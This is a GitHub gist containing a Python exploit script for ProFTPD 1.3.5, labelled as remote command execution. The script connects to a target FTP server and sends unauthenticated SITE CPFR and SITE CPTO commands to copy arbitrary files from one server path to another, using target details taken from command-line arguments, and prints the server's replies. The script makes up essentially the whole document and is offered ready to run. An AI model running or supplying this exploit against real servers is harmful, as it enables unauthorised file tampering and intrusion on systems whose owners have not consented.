Skip to content

Instantly share code, notes, and snippets.

@Madhava-mng
Created October 10, 2020 06:35
Show Gist options
  • Save Madhava-mng/8a5cb19334dcde2b8fde55b73f9db083 to your computer and use it in GitHub Desktop.
Save Madhava-mng/8a5cb19334dcde2b8fde55b73f9db083 to your computer and use it in GitHub Desktop.
proftpd 1.3.5 exploit(remote command execution)
#!/bin/python3
import socket
from threading import Thread
from sys import argv as _arg_
from time import sleep
'''
proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution
usage: proftpd_1.3.5.py <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>
eg: proftpd_1.3.5.py 10.2.43.12 21 /home/user/FileToCopy /var/tmp/PathToPast
'''
def main():
core = {
"MAIN": {
"COPY": b"SITE CPFR ",
"PAST": b"SITE CPTO ",
},
"PRINT": {
"SUCCESS": "[*] Conection status\t[ok]",
"FAIL": "[!] Conection status\t[PipeBroken]",
"OUT": "[RES] ",
"TITLE": "\n[*] proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution"
},
"LN": "\n",
"ENCODE": "UTF-8",
"SIZE": 1024
}
IP = _arg_[1]
PORT = int(_arg_[2])
CPFROM = _arg_[3]+core["LN"]
CPTO = _arg_[4]+core["LN"]
def recive(PROFTPD135, core):
for i in range(1, 4):
print(core["PRINT"]["OUT"] + PROFTPD135.recv(core["SIZE"]).decode(core["ENCODE"]), end="")
sleep(0.2)
try:
PROFTPD135 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
PROFTPD135.connect((IP, PORT))
print(core["PRINT"]["SUCCESS"]+core["PRINT"]["TITLE"])
Thread(target=recive, args=(PROFTPD135, core,)).start()
PROFTPD135.send(core["MAIN"]["COPY"]+CPFROM.encode(core["ENCODE"]))
PROFTPD135.send(core["MAIN"]["PAST"]+CPTO.encode(core["ENCODE"]))
sleep(10)
PROFTPD135.close()
raise SystemExit()
except:
print(core["PRINT"]["FAIL"])
try:
if __name__ == "__main__":
main()
except:
print(_arg_[0]+" <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment